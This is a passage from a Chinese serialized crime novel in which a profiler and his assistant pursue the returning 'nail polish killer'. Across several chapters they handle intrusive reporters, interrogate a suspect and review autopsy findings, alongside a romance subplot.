“请问你就是这起案件的负责人吗?”“警察同志,里面到底发生了什么?”“邮件里说的是真的吗?”
秦聿风面色阴沉,对其他的问题一概不理,但还是敏锐地捕捉到重点,问道:“什么邮件?”
其中一名记者回答:“警察同志,今早我们收到了一封邮件,说这里有跟指甲油杀手有关的爆炸性新闻,所以才赶过来的,里面是不是真的有人遇害了?”
在那群记者中,祝好意外发现了一张熟悉的面孔。
是唐宋。
唐宋顶着一头蓬乱的头发茫然四顾,在拥挤的人群中被推来搡去,差点儿无法站稳。
看到祝好,他露出一脸兴奋的表情,奋力挤到前排朝她摆了摆手:“祝小姐!”
祝好掀起警戒线走到他面前,问道:“唐宋,你们也收到了邮件?”
唐宋点点头,拿出手机打开邮件给祝好看,上面果然是一张跟帖子内容一样的照片,也同样附上了坐标。
他的目光越过祝好的肩膀看向警戒线里,小心翼翼地问:“祝好,里面是什么情况?”
祝好还没开口,秦聿风就指挥警员们疏散挤在警戒线前的记者们:“目前案件还在调查阶段,案件细节不方便对外透露,你们赶紧回去吧。”
又吩咐道:“刚才拍的照片和视频全都删掉,不准发出去。”
一个手持自拍杆的矮胖中年男人扯着嗓门喊道:“别啊,警察同志,我们大老远赶过来就是为了获得第一手消息,你们怎么也稍微透露一点嘛。”
秦聿风耐着性子回答:“我们不对外透露案件细节自然有我们的考虑,你们媒体要做的就是配合警方,别乱报道就行。”
大概是看秦聿风态度并不强横,矮胖男人往前一步道:“警察同志,你这话怎么说的?公民是有知情权和表达权的,如果指甲油杀手真的像网上说的那样重新出现了,你们还藏着掖着不让市民知道,怎么提高大家的安全意识?”
其他几家媒体也纷纷附和,场面登时更为混乱了。
秦聿风不为所动,冷冷说道:“你们是警察还是我们是警察?如果你们胡乱将事情报道出去,激怒了指甲油杀手导致他再杀人,那你们能对下一个受害者负责吗?”
说完挥了挥手示意警员赶人。
矮胖男人闻言脖子一梗,说道:“激怒指甲油杀手不是你们警方最擅长的事儿吗?”
秦聿风听出他意有所指,脸色顿时沉了下来,冷声喝道:“你再胡说八道试试?”
矮胖男人刚要说些什么,目光突然扫到正往警戒线外走的程述,指着他大喊起来:“就是他,我记得当年他还在电视上对指甲油杀手做了什么什么剖绘。”
有人应和道:“我也想起来了,他当时说的都是错的,后来出现了新的受害者,他还因此引咎辞职了!”
祝好听得心里窝火,什么乱七八糟的,作为新闻从业者不报道真相也就算了,在这儿散播谣言算什么回事。
唐宋皱了皱眉,说道:“这位大哥,我们记者的职业义务包括客观公正地报道新闻以及保护个人的隐私和权益,你们说这些话……是不是有点过分了?”
矮胖男人不屑地瞥了他一眼,冷笑道:“关你屁事儿啊?你以为你是电视台的就了不起,我们做网络媒体的可没那么多规矩。”
唐宋显然不善言辞,好不容易鼓起勇气仗义执言,被他这么一怼,气得脸色涨红:“网络媒体也是新闻从业者,最起码的职业素养还是要有……”
没等他说完,矮胖记者就开口打断他:“得了得了,你高贵你了不起,好好抱着你的饭碗就行了,别多管闲事。”
程述却是面无表情,仿佛周遭的一切喧嚣与他无关,掀起警戒线径直往外走。
矮胖男人来了劲儿,不依不饶地追在他身后,恨不得把自拍杆怼到他嘴边:“是你吧?五年前你因为在采访中做出错误的判断,导致自己的妹妹被指甲油杀手杀害,我听说那件事之后你就
离开警局了,现在又是以什么身份来参与调查的?你妹妹的死有没有对你造成什么影响?”
程述脚步一顿,缓缓回过头:“你再说一遍。”
矮胖男人禁不住打了个寒颤,气势霎时被卸掉了大半,但又不想放过这次机会,硬着头皮继续追问:“你当年那么做,究竟是学术不精还是有意为之?你妹妹遇害后,你有没有后悔过?”
程述转身一把抓住自拍杆,冷冽的目光犹如一把出鞘的利刃从矮胖男人的脸上剐过:“我刚才那句话是让你闭嘴,不是真的让你再说一遍,你听不明白吗?”
紧张的气氛如同一张拉满的弓,周围的气温似乎都骤降了几分。其他几家媒体见状纷纷把镜头转了过来,对准了程述。
秦聿风生怕他捅出什么篓子,赶紧薅住他的肩膀,低声道:“老程!冷静点!”
程述没变换太多神色,放开手的同时把矮胖男人推了个趔趄,然后挤开人群头也不回地离开了。
矮胖男人眼见警察也不敢对自己动手,冲着程述的背影喊道:“什么人呐,警察了不起吗,警察就能随便打人?我回去马上就把视频放上网,看你们怎么解释!”
“对啊,这人也太过分了,怎么还打人呢。”祝好也忿忿不平,然后转向矮胖男人,真心实意地关切道:“诶,大哥,您假发片快掉了。”
矮胖男人一愣,赶紧伸手扶住滑到后脑勺的假发片,手上的自拍杆差点儿没拿稳。祝好贴心地接住他的自拍杆,说道:“没事,您慢慢整理,我帮你拿着。”
男人应了一声,赶紧低头整理自己的假发。等他腾出手从祝好手里接过自拍杆时,才发现刚才拍的那两段视频全被她删掉了,还没等他发火,祝好就已经脚底抹油一溜烟儿跑没了影。
上车以后,祝好松了口气,转向程述:“老大,你没事吧?”
程述淡淡地回了句:“在你眼里我就那么脆弱吗,一个毫不相干的人随便几句话就能让我破防?”
祝好没好气:“是啊,我就是担心你今晚一个人躲在被窝里偷偷哭,所以关心你一下,行吗?”
程述半开玩笑半认真地说:“行啊,我就喜欢你关心我。”
祝好神情复杂地斜了他一眼,一时捉摸不透他到底在想些什么,索性转移了话题:“指甲油杀手是不是因为发现自己的帖子被删除了,所以才把那些信息发给媒体?”
程述敛起笑容,点了点头:“现在的他觉得自己受到了冷落,因此非常专断。对他而言,杀人能让他获得自认为应的的注意力,可警方压下所有新闻的做法显然不能让他如愿,所以他不再等待警方做出回应,而是直接将案件有关信息发给媒体,让新闻自行发酵。”
祝好突然想起一个问题:“那五年前他是怎么把信和照片寄到电视台的?”
通过虚拟网络隐藏自己的IP地址不奇怪,但如果是通过邮寄的形式,邮局或是快递公司应该有记录才对。
程述说:“当时电视台正好举办了一个向公众开放一天、让大众了解电视台工作的活动,很多人都去凑热闹了,活动结束后,电视台新闻主编的办公桌上就突然多出了一封信。当时我们也查看了监控,但那天市民实在太多了,没办法找出究竟是谁放的。”
祝好陷入沉思:五年前他还只是通过信件向警方挑衅,现在已经学会熟练地运用网络了。
祝君安还在世的时候连智能手机都玩不明白,总被祝好吐槽是跟不上时代的小老头,跟他差不多一个年纪的指甲油杀手都学会隐藏自己的IP地址了,他消失的这五年都干嘛去了,是去学习怎么当黑客了吗?
透过车窗看向案发现场的方向,熙熙攘攘的人群仍未散去,所有媒体都想挖一记大新闻,驻足在警戒线外不愿离开。
程述拿起手机,给秦聿风打了个电话:“喂,老秦。”
电话那头吵吵嚷嚷,秦聿风拔高声调问:“干什么?你车都没开走,下来说不就行了,还打什么电话。”
程述没理会他的疑问,说道:“既然这些媒体都不愿走,那就给他们透露点信息吧。”
秦聿风似乎是找了个安静的地方接电话,背景的嘈杂声小了不少:“透露什么?”
程述说:“告诉他们指甲油杀手重新出现了,并把他对受害者的偏好公布出来。比起让他们回去瞎编乱造,还不如利用好他们的影响力,让民众——特别是符合他偏好的女性提高防范意识。”
顿了一下,又补充道:“对了,让媒体把重点放在受害者类型上,对指甲油杀手本身的报道尽量一笔带过,特别是千万不要对他进行分析。”
既然指甲油杀手想要通过公开犯罪细节来挑衅警方、获得大众的关注,那警方就更要反其道而行之,既不能让他如愿以偿,又要让潜在的受害者们提高防范意识。
当他发现自己在做了那么多事情却依旧没有获得想要的关注,选定的目标受害者也突然变得谨慎起来,让他下手的机会大大减少,那么他一定会开始抓狂,从而露出破绽。
秦聿风沉默了一阵,说了声“行”,挂断了电话。
时间已到傍晚,接下来不管是跟媒体打交道还是查明受害者身份,皆不需要程述和祝好出力了。
程述拧动车钥匙刚要开车,车窗却被人敲响。
祝好循声望去,看到唐宋正站在车窗外,一脸腼腆地笑着跟他们打招呼:“祝小姐,程先生,你们还没走吗?”
祝好连忙摇下车窗:“唐宋,刚才谢谢你帮我们讲话。”
唐宋挠了挠后脑勺:“不客气,是那个人讲话太过分了,我实在有些看不过去。”
祝好指了指警戒线的方向,问他:“你的工作结束了吗?”
唐宋有些无奈:“我在电视台只是个新人——打杂的那种,里面有前辈在就行了,没我什么事。”
祝好忽然想起之前曾经许诺过要一起吃顿饭好好感谢他,但一直忙着其他案子,差点要把这件事给忘了。这时也正好到了饭点,于是不等程述反应,就朝唐宋招了招手:“要不你上车吧,我们一起去吃饭。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
190-200
第191章
出发之前祝好询问了两个人的意见,程述一脸无所谓地耸了耸肩,那意思就是“随便”,坐在后座的唐宋不好意思地抓了抓一头蓬乱的头发,小声说了句“什么都可以”。
祝好有些无语,只好打开手机的团购软件随便选了家评分最高的私房菜馆。
正值饭点,餐馆热闹非凡,上菜的速度都比平时慢了许多。
唐
宋低眉垂眼地端坐在祝好左边,双手圈着一杯柠檬水,拇指不停摩挲着玻璃杯的杯壁。
他几次三番想说些什么,但还没开口,就被程述脸上大写的“拒绝社交”几个字给噎住了,又默默把话咽了回去。
一个木讷寡言不爱说话,一个满不在乎不想说话。祝好坐在他俩中间,感觉周围的空气都要凝滞了。
为了避免目光相触却又无话可说的尴尬,她只得主动充当气氛调节器,跟唐宋闲聊起来:“唐宋,你在电视台的工作怎么样?”
听到她叫自己的名字,唐宋抬起头,讷讷地答道:“还行吧,电视台的工作跟报社完全不一样,我现在还在学习阶段,一般也只是搬搬机器,打打下手什么的。”
祝好哦了一声,又问:“那你在淮江市住得还习惯吗?”
唐宋说:“挺好的,这边的气候跟西临市也没什么差别……对了,我能不能问个问题?”
祝好点点头:“你说。”
“刚才我听那些人说程先生已经离开警队了,那你们怎么还能去案发现场?”
祝好解释:“他现在是警局的刑事犯罪顾问。”
唐宋恍然大悟:“原来如此。那……我能不能问问,指甲油杀手这个案子是怎么一回事?”
程述把玩着桌上的牙签筒,随口问道:“你对这个案子没了解过吗?”
唐宋笑了笑:“我从小就在西临市长大,以前听大人提起过一点,但模模糊糊的没什么印象,今天早上收到邮件后我问了台里的前辈,才知道有过这么一起案子。”
程述语气里带着些揶揄:“你跟我们出来吃饭,不会是想从我们这儿套点儿什么消息吧?”
唐宋一愣,连忙摆手:“不是不是,我没那个意思,就是有点儿好奇而已。”
顿了一下,又再次不好意思地抓了抓自己蓬乱的头发:“不过……如果你们能透露点儿什么就更好了。”
程述一脸“我就知道”地哂笑道:“那你真是想多了。”
祝好从桌子下面狠狠踢了程述一脚,用眼神示意他闭嘴,然后朝唐宋露出一个和善的微笑:“案子还在调查期间,没有警方的允许,我们也不能随便对外透露案件细节的,不好意思啊。”
唐宋扯了扯自己的袖子,摇摇头道:“没关系没关系,我、我也就随便那么一问。”
所幸点的菜终于陆续上桌,尴尬的气氛才稍微缓和了一些——至少嘴都用来吃饭了,就算不说话也没什么要紧的。
饭吃到一半,祝好又在桌下用脚碰了碰程述,朝他使了个眼色,然后拿起杯子举向唐宋,说道:“唐宋,之前在西临市那件事真是谢谢你了。本来一直想找机会请你吃个饭,不过最近实在太忙,一直没什么机会。”
程述也举起杯子,露出一个敷衍的笑容,说了句“谢了”。
唐宋赶紧放下筷子跟他们碰杯,腼腆一笑:“举手之劳而已,你们不用放在心上的。”
表面上看着唯唯诺诺的一个人,当初居然有勇气一个人潜进危机四伏的分享会去卧底调查,搜集了大量证据,还冒着危险救下了他们,祝好不由得对眼前这个样貌平平的年轻人生出些许敬佩。
程述完成任务后又摆出一副事不关己的模样,象征性地抿了一口杯里的可乐,默不作声地继续埋头吃饭。
终于熬到一顿饭结束,把唐宋送上出租车后,祝好回到车里,一屁股把自己摔在副驾驶上,长长地松了口气——跟这两个人呆在同一个空间真是比跑五公里还要累。
她忍不住吐槽程述:“老大,我说你也太冷漠了吧,就不能主动点跟人家聊几句话吗?”
程述若无其事地启动车子:“我跟他有什么好聊的,是你把他叫来的,又不是我。”
祝好不满:“人家好歹帮过我们,你装也要装得热情点儿啊。”
程述不以为意:“我不是主动付钱了吗?‘谢谢’也说过了。”
祝好:……
她扶着额头,一时竟无言以对。别人怎么样她不知道,但“谢谢”这句话在程述这儿,的确已经算是最高礼仪了。
*
根据程述提供的思路,警方花了两天时间摸排走访,终于确认了第二名受害者的身份,她名叫严雪儿,26岁,是一家足疗店的员工。
按照秦聿风给的地址,程述把车开到了一个小区前。
这个小区离严雪儿工作的足疗店只有十多分钟的路程,大门两旁的花圃修得十分整齐,小区里的绿化做得很好,初春的阳光透过枝叶,在宽敞干净的林荫路上洒下一片斑驳的光影。
有警员站在严雪儿租住的房子门口给房东做笔录,祝好在旁边听了一会儿,得知严雪儿是两个月前搬进来的,租房合同也一次性签了两年。
她插了句话,问道:“这儿的房租多少钱?”
房东回答:“五千,本来是押二付三,不过她说要一口气付一年的房租,我就给她打了九折。”
祝好在心里快速计算了一下,五千块钱一个月,就算打了九折,租一整年再加上押金也要六万多块钱了。
屋子是两室一厅的布局,家具应该是房东配套的,屋里收拾得还算整齐。
严雪儿的房间中央是一张双人床,上面铺着淡蓝色的床单。祝好注意到床上只放了一个枕头,洗手间里也只有一套洗漱用品,看得出来,严雪儿是独自一人居住在这儿的。
床头边的梳妆台上有一套没拆开的护肤品,包装精美,价格一看就不便宜,祝好拉开抽屉,在角落里找到了护肤品的购物小票,购买的时间是几天前。
秦聿风移步到她身边,笑着问道:“祝好,你有什么发现吗?”
在他们来之前,警员已经对严雪儿的房子进行了一次详细的勘查。祝好明白秦聿风并不是真的想知道她有什么发现,只是想找机会跟她搭话而已。
她也笑着摇了摇头,刚要说些什么,秦聿风口袋里的手机忽然响了起来,他对祝好做了个“稍等”的手势,出客厅接电话去了。
祝好又打开了房间里的衣柜,身后冷不丁响起程述的声音:“你最近怎么都不跟你的可攻略对象出去玩了?”
祝好倏地一愣,这家伙还真是哪壶不开提哪壶。
她目光逐一扫过衣柜里的衣服,没好气道:“怎么,你很希望我跟他们出去玩吗?”
这回换做程述愣住了,他转头看了一眼秦聿风正在打电话的背影,干笑了一声:“我就随便问问。”
不知怎么的,祝好心里生出一些微妙失落的情绪——其实这些天,这样的情绪一直盘桓在心头,只是被她刻意忽略了。
反正有些事不管怎么想都想不明白,索性别想了,还是专心破案吧。
可这时失落的情绪却突然被放大,她停下手里的动作,说道:“你这么一说我才想起来,我的确很久没跟李砚川见面了,我今晚正好去他酒吧坐坐。”
程述抿了抿嘴,欲言又止,但祝好转过身去把注意力放回衣柜里的衣服上,没再理会他。
严雪儿的衣柜分上下两层,上层挂着一些大衣和外套,下层是折叠整齐的内搭、裤子等。
那些外套大部分是不知名的杂牌,其中却有一两件质感很好的羊毛大衣,祝好把领子上的标签翻出来看了一眼,果真是个价格不菲的大牌子,而且大概率不是假货。
足疗店的工资能支撑得起严雪儿住那么贵的房子、买那么多价格昂贵的护肤品和衣服吗?
秦聿风挂了电话,匆匆从客厅走回房间里,脸上带着抑制不住的兴奋:“严雪儿的同事回忆说最近有个客人经常点名要她上钟,我们查询了足疗店登记的会员卡信息,是一名名叫武明杰的男子。会员卡的消费记录显示,他这两个月内几乎每隔几天就会来消费一次,并且每次点的都是严雪儿。”
程述问:“他多大年纪,是做什么工作的?”
秦聿风:“小孙已经在查了,应该很快就有结果。”
没多久,武明杰的信息就发到了秦聿风的手机上。
他今年49岁,是一名软件工程师。照片上的他有一张瘦长的脸,戴着副眼镜,乍一看平平无奇,没有任何能让人记住的点。根据资料显示,他一直生活在淮江市,四年前被公司派到了国外工作,三个多月前才刚刚回来。
祝好差点按捺不住心头的激动,刚才的失落也被抛到九霄云外——这个人不仅年龄、职业、长相都跟程述做的人像剖绘一样,而且离开和回到淮江市的时间点也基本都对上了,他会不会就是指甲油杀手?
秦聿风低头把手机里的资料滑到下一页,皱了皱眉,说:“不过这个武明杰已经结婚二十多年了,还有一儿一女。儿子刚上初中,女儿已经上大学了。而且他的工资水平不低啊,一个月有好几万呢。”
程述捻着下巴思考了一阵,问道:“他人在哪儿?”
“已经派人去他公司了。”秦聿风看了眼手机:“顺利的话,半个小时就能把他带回警局。”
第192章
从被带回警局的那一刻,武明杰就只重复着一句话——“警察同志,你们是不是找错人了?”
他缩着肩膀坐在审讯椅里,隔着厚厚的镜片,可以看到他的眼神里闪过一抹迷茫和瑟缩。
负责审讯的警员丝毫没有理会他的喊冤叫屈,把严雪儿的照片摆在他面前,单刀直入问道:“这个人你认识吗?”
武明杰瞥了照片一眼,嘴角微不可察地抽了抽,几乎是立刻就否认了:“不认识啊,怎么了?”
警员问:“前天晚上——也就是2月20日的晚上你在哪儿?”
武明杰脱口而出:“我在公司加班,下班后就回家了。”
警员意味深长地笑了笑:“不对吧?你在‘幽梦足疗按摩’的会员卡显示,你当晚曾在那儿消费过,负责帮你按摩的人正是照片上这位女士。”
武明杰一怔,扶起眼镜佯装认真地又对着照片看了好一会儿才恍然大悟:“哦,对,是她。我想起来了,那天我下班之后腰酸背痛,就去按摩了。”
说完又故作懊恼地补充了一句:“那家店看起来应该是正规店铺才对啊,我真的什么也没做,就纯按摩!”
他这句话倒没说谎,严雪儿工作的地方的确是家手续齐全的正经按摩店,并没有什么擦边服务,严雪儿本人也是经过培训上岗的按摩师。
警员冷笑:“你找过她不止一次吧?从两个月前你办会员卡开始,几乎每隔几天就会去一次,而且每次都指定要她上钟,不是吗?”
眼见自己拙劣的谎言被拆穿,武明杰索性直接摊牌:“是又怎么样?我按个摩也不犯法吧?你们到底抓我进来干什么?”
他在问这句话的时候,似乎是笃定自己并没有做什么违法犯罪的事,底气也明显比刚才要足了许多。
秦聿风透过单向玻璃看着审讯室里的情景,双眉紧皱,转头问程述:“老程,你觉得这家伙可疑吗?”
程述低头翻看手里的文件,答非所问:“武明杰出生在一个正常家庭,从小跟父母住在一起,他本人的成长轨迹也没什么波折,大学毕业、结婚、生子、升职,最重要的一点,他前些年做过一次脊椎手术,一定没办法独立完成杀人抛尸这样的事情。虽然有些特征的确符合我的人像剖绘,但他应该不是指甲油杀手。”
秦聿风不加掩饰地叹了口气:“那他一开始为什么要撒谎?”
祝好接过话茬:“我猜他跟严雪儿关系不一般。”
严雪儿在足疗店的工资并不足以支撑她一次性付清高档小区一年的房租,昂贵的名牌大衣和护肤品也是最近才买的,而武明杰明明找她按摩过很多次,却又声称自己不认识她,那只能说明他并不希望两人的关系被其他人知道。
匆匆推门而入的警员很快证实了祝好的想法:“秦队,我们查过监控,那天晚上武明杰是和严雪儿一起从足疗店离开的,而且还一起回了严雪儿家。”
秦聿风点点头,按下监听室里的麦克风,对负责审讯的警员说道:“直接把严雪儿的死讯告诉他。”
警员把案发现场拍的照片逐一摆在武明杰面前,说道:“2月21日早上,我们在郊外发现了严雪儿的尸体。”
武明杰闻言脸色瞬间变得煞白,颤抖的双手差点儿拿不起照片,语无伦次:“不可能吧?怎么可能?她、她怎么会……”
警员不耐烦地一拍桌子:“监控显示,2月20日晚上你跟她一起回了家。23点13分左右又一同乘坐电梯到地下车库,驾车离开了小区,从那之后严雪儿的身影就没再出现在小区监控中。是不是你把她杀了?”
武明杰脑门上渗出大颗汗珠,整个人剧烈颤抖起来,慌忙摇头否认:“怎么可能是我!不是我啊……不是,真的不是我!”
他心理素质显然不太好,警员还没说话,他就已经吓尿了——是真正意义上的吓尿,黄色的液体顺着裤腿滴滴答答洇湿了审讯室的地板。
负责审讯的警员无奈地转头看向单向玻璃后的秦聿风,秦聿风也无奈地扶着额头,对着麦克风吩咐道:“带他去换条裤子。”
十分钟后,换完裤子的武明杰重新被带回清理干净的审讯室,在得知严雪儿的死讯后,他那本就不牢固的心理防线几乎是立刻崩溃了,很快就把事情交代清楚。
据他所说,自己跟严雪儿是在按摩的时候认识的,没几天就发展成了情人关系。
他在高档小区里为严雪儿租下了一套房子,却从不在那里过夜,因此严雪儿家里也没有太多与他有关的东西。
警员问道:“你老婆不知道这件事吗?”
武明杰摇摇头:“不知道,我几乎不用手机跟严雪儿联系,每次要找她就去足疗店。”
不得不说,他这保密工作做得还挺到位。
严雪儿出生农村家庭,就算在足疗店打工一辈子,也没办法过上自己想要的生活,而武明杰虽然在外人看来家庭和睦、事业有成,可那颗追求刺激的心却一直和下半身一同蠢蠢欲动,并在遇到严雪儿后变得一发不可收拾。
他和严雪儿之间并没有什么感情,不过是各取所需罢了。之所以隐瞒跟严雪儿的关系,也只是跟大部分婚内出轨的渣男一样,既想要刺激浪漫的婚外恋,又想要维持住自己家成业就的美好形象。
因此听闻严雪儿的死讯,比起难过,他更多的是害怕——害怕这件事情会影响到他的家庭和工作。
警员敲了敲桌面,继续刚才的审讯:“你们那天离开小区后去了哪儿?”
武明杰夹着双腿,竹筒倒豆子似的回答:“小区后面有个小公园,那里有很多流浪猫,她几乎每天都会去喂猫。那天我离开时,她说家里还有剩菜,要拿去给那儿的猫吃,我就顺便陪她去了。结果刚到了没一会儿,我老婆就给我打电话,问我怎么还不回家。严雪儿很贴心地让我先走,说她喂完猫一个人回去就行。”
一口气说完,他压着嗓子干咳了几声,问道:“可以给我一杯水吗?”
接过警员递来的一次性杯子,武明杰仰头把水喝光,才接着说:“当时我寻思着公园离小区也不远,走路也就十来分钟,而且那几天我老婆好像有点怀疑我,我就先回去了,没想到……”
警员问:“你们到小公园的时候,还有没有其他人在那里?”
这回他答得快速又笃定:“没有。那里晚上人很少,也没什么摄像头,基本不会有人去的。”
顿了顿,又突然想起什么,补充道:“不过严雪儿跟我提起过,说最近有个男人也在那里喂猫,他们偶尔会碰上。”
警员连忙问:“什么样的男人?”
武明杰有些为难:“这个……她没提过,我也没见过。”
武明杰的妻子证实了他那天的确在凌晨十二点左右回到家里,之后就一直没再出门。这么看来,他的确跟严雪儿的死没有关系,更不是指甲油杀手。
监听室的门被敲响,法医助理推门进来,对秦聿风道:“秦队,温主任那边有发现,让您过去一趟。”
“马上到。”
秦聿风给程述递了个眼神,放下手中的文件袋,转身朝法医解剖室走去。
低温裹着解剖室特有的福尔马林味儿钻进鼻腔,严雪儿和夏嫣正静静地躺在并排摆放着的两张泛着冷光的不锈钢台面上,无影灯将她们苍白的脸色和身上每一处伤痕都照得纤毫毕现。
听到动静,身着白大褂的温珣抬头跟他们打了个招呼:“我先简单说一下尸检结果。死者的致命伤是左心室的贯穿性刀伤,伤及心脏大血管,导致大量内出血。除此之外,她身上有多处穿刺伤,颈部有水平状索沟,边缘有皮下出血,均为生前伤。胃内容物为部分消化食物,推测死亡时间在最后一次进食后2-3小时。详细的尸检报告待会儿我会让助理发给你。”
秦聿风点点头,迫不及待地问:“温主任,你特地把我们叫过来,应该不只是为了说这个吧?”
温珣:“一个好消息和一个坏消息,你们想先听哪个?”
秦聿风苦笑:“我都不知道在解剖室里还能听到好消息,还以为是坏消息和一个更坏的消息呢。”
“这么说也不是不行。”温珣说:“我先说坏消息吧,那根刺上提取到的DNA比对结果出来了,数据库中没有找到匹配的记录。”
祝好问:“更坏的消息呢?”
“指甲油杀手的作案手法好像有了变化,我在严雪儿的后颈处发现了一个之前从未见过的标记。”
温珣托住严雪儿的头部,法医助理立刻上前扶住她的肩膀,将她整个人摆成侧躺的姿态。
在她的后颈处,清晰可见两条三厘米左右垂直并行的划痕。
温珣说:“伤口没有生活反应,属于死后伤。一开始我以为是指甲油杀手在抛尸过程中不小心造成的,但我的助理提醒我说夏嫣的尸体上似乎也有类似的一个标记,我才猜想会不会是指甲油杀手故意留下的。”
说着又让法医助理将另一张不锈钢台上夏嫣的尸体翻过来,果然在她的后颈处也有一模一样的两条竖线,伤口的边缘很整齐,像是被某种利器刻意划出来的。
秦聿风嘶地吸了口气,转头问程述:“两条竖线……会是什么意思?编号吗?”
程述摇了摇头表示自己也没有头绪:“这个标记在五年前的所有案子中都没有出现过,不管是什么意思,一定对他有很重要的意义。”
第193章
你不说,我就永远也不……
从警局离开时,夜色已然浓重。
路灯在雨雾中晕染出一层淡淡的光圈,不知是因为下雨还是因为最近铺天盖地的新闻,路边的商店虽然照常营业,街头却鲜少能看到路人的身影。
一连好几天时间,沉寂许久的连环杀手再度出现、专门针对留中长发的年轻女子下手的新闻席卷了各类媒体的门面,上至官方的电视台和报纸,下至多如牛毛的自媒体,全都在播报与之相关的新闻。
按照警方的要求,这些新闻几乎都没有提到“指甲油杀手”的名号,对他之前的所作所为也尽量一笔带过,把报道的侧重点放在了号召女性提高安全意识上。
指甲油杀手这些天一直没什么动静,也没再网上发布帖子。
祝好看着车窗外冷清的街道,问程述:“老大,你说,指甲油杀手下一步会怎么做?”
程述把着方向盘轻轻摇了摇头:“就算是世界上最牛的心理侧写师,也不可能完全揣摩出一个变态的心理。不过他最近应该会处于一个焦虑期——想要作案,但因为目标都提高了警惕,所以难以下手。”
祝好问:“那我们能做些什么?”
程述言简意赅地回答:“等。要么等新的线索出现,要么就等他狗急跳墙。”
祝好心情有些沉重:“如果他狗急跳墙,不就意味着会有新的受害者吗?”
程述没说话,似乎是默认了这个说法。
回想起受害者家属撕心裂肺的哭喊,祝好心里很不是滋味。
新闻的热度很快就会过去,女性也不可能因为潜在的危险,就永远在夜幕降临后足不出户,而指甲油杀手只要一有机会,就一定会重新作案。
“如果我去做诱饵呢?”
程述明显愣了一下:“什么?”
祝好:“如果我去做诱饵,他会不会现身?”
——既然指甲油杀手是冲着程述来的,就一定会留意到程述身边的她,而她的外形又恰好符合指甲油杀手的偏好。
如果指甲油杀手看到她独自出现在空无一人的街头,说不定会控制不住自己作案的欲望,到时只要警方事先设下埋伏,他不就如同瓮中之鳖了吗?
前面恰好是红灯,程述踩下刹车,说道:“他比我们想象的要聪明许多,也十分擅长伪装自己,你真以为他会那么容易上当?再说了,我不可能让你去当诱饵。”
祝好:“为什么不可能?你当初答应让我住进阁楼,不就是想用我把他引出来吗?”
程述没想到她会突然提起这一茬,无法辩驳,只得叹了口气承认:“我当初是这么想过,但现在不一样了。”
“有什么不一样?”
程述缄默不语,转头看向前方的路,显然是想回避这个问题。
祝好好不容易强迫自己忽略掉的失落又一次卷土重来,在胸口几经翻涌,冲上喉头,又被她生生抑制住。
她强忍情绪,若无其事地说:“老大,在前面放我下车,我要去李砚川的酒吧。”
程述嘴角轻轻一动:“大半夜还去酒吧,你真的打算拿自己当诱饵?”
“现在才十点钟,哪有大半夜。再说了,会有人送我回家的,就不用你操心了。”
也不知程述有没有听出她语气里的怨念,但还是依言调转了方向,把车开到了Inkstone的门口,淡淡地开口嘱咐:“外面下雨,记得拿伞。”
祝好只当没听到,径直开门下车。透过Inkstone玻璃门的反光,她看到程述的车在原地停留了一会儿,然后缓缓驶离。
她深吸一口气,推开酒吧大门。
清冽的酒香混合着暖气扑面而来,几个打扮时尚的女孩正围在吧台前叽叽喳喳说着什么,站在吧台里的李砚川始终保持着客套的微笑,时不时耐心地回答一两句话。
看到祝好,他面露惊喜,颔首对那几个女孩说了声抱歉后,从吧台里走出来,十分自然地接过祝好身上的挎包,把她领到一个靠窗的座位上。
“好好,你怎么来了?”
祝好注意到那几个女孩的目光一直追随着李砚川,便随口问了句:“你刚才在跟她们聊什么呢?”
李砚川在她对面坐下:“她们问了我一些调酒的问题,我就随便跟她们聊了几句。”
解释完后,似乎是担心祝好误会,又补充道:“好好,如果你不喜欢,以后我就不跟其他人聊天了。”
祝好连忙摇头:“不是不是,我……”
她本想说自己没那么小气,但转念一想,这话也太容易引起误会了——就算跟李砚川的好感度已经很高了,但严格来说他们还只是普通的朋友关系,于是话到嘴边又转了个弯:“我没有不喜欢,跟客人交流也是你的工作内容之一,按你的方式去做就行。”
李砚川托着下巴笑:“好好,你真是善解人意。想喝什么?我去给你做一杯。”
“什么都行。”祝好想了想,又强调:“要不含酒精的。”
李砚川点点头,回到吧台里鼓捣了一会儿,端着一杯冒着气泡的白色饮料回来放在祝好面前:“这是百香果气泡水,没有酒精,我只放了一点碎冰,不会很凉。”
祝好说了声谢谢,捻着吸管抿了一口。
李砚川重新在她对面
坐下,问道:“好好,你最近是不是很忙?”
祝好试着丢掉那些不愉快的情绪,把注意力转到跟李砚川的谈天上:“最近有个连环杀人案,你没看新闻吗?”
“看到了,我看新闻上的描述,那个连环杀手针对的受害者类型跟你差不多。”他的目光里流露出担忧:“好好,你一定要注意安全,可千万不能出事。”
祝好心头一暖,笑着点了点头。
有什么好失落的,不就是个男人吗?
这可是乙游,乙游最不缺的就是男人。就拿李砚川来说,长得好看又体贴入微,还会爆金币,比某个路人甲强了不止一百倍。
祝好刚要说什么,突然有种毛骨悚然的直觉让她下意识转头看向玻璃窗外。隔着细密的雨丝和氤氲的雾气,隐约能看到路灯下似乎站着一个人,目光直勾勾地望向她,可当她抹掉玻璃上凝结的水雾定睛一看,大街上却又空无一人,仿佛刚才的一切只是幻觉。
“好好,怎么了吗?”
祝好回过神,干咳一声以掩饰刚才的晃神,笑道:“没事,刚才说到哪儿了?”
李砚川:“我有个朋友是开安保公司的,我让他给你弄一些防身的小东西吧?比如强光手电筒、防狼喷雾什么的。或者……我给你请几个保镖?这样你晚上出门会比较安全。”
祝好生怕再多说几句他就要斥巨资给她打造一个安全屋了,连忙制止他:“不用不用,我晚上很少出门,就算出门也是跟我老大一起,你放心吧。”
李砚川这才松了口气:“那就行。”
酒吧另一头的角落里,一个喝醉的客人不知在大声嚷嚷什么,李砚川皱了皱眉,对她说:“好好,你在这儿等我,我过去看一下。”
祝好点点头,又转脸望向窗外,那个人影果然没再出现,却意外地发现程述的车不知什么时候又停在了路边。
她倏地从座位上站起来,没想到与一个刚好经过的女生撞了个正着。女生手里的酒杯倾翻,杯中的酒洒了祝好一身。
祝好嘶了一声,赶忙道歉:“不好意思,我没注意到你。”
女生摆摆手:“没关系,是我没拿稳——诶,你衣服都湿了,等等,我拿纸巾给你。”
说着随手将酒杯放到一旁,从包里拿出纸巾就要帮祝好擦拭身上的酒水。
祝好婉拒了她的好意:“没关系的,我马上也要回去了。”
说完匆匆推门而出,上前敲了敲程述的车窗,故作镇定地问道:“你不是回去了吗?”
程述揿下车窗:“我——”
话说到一半,他的目光越过祝好的肩头,望向她身后。
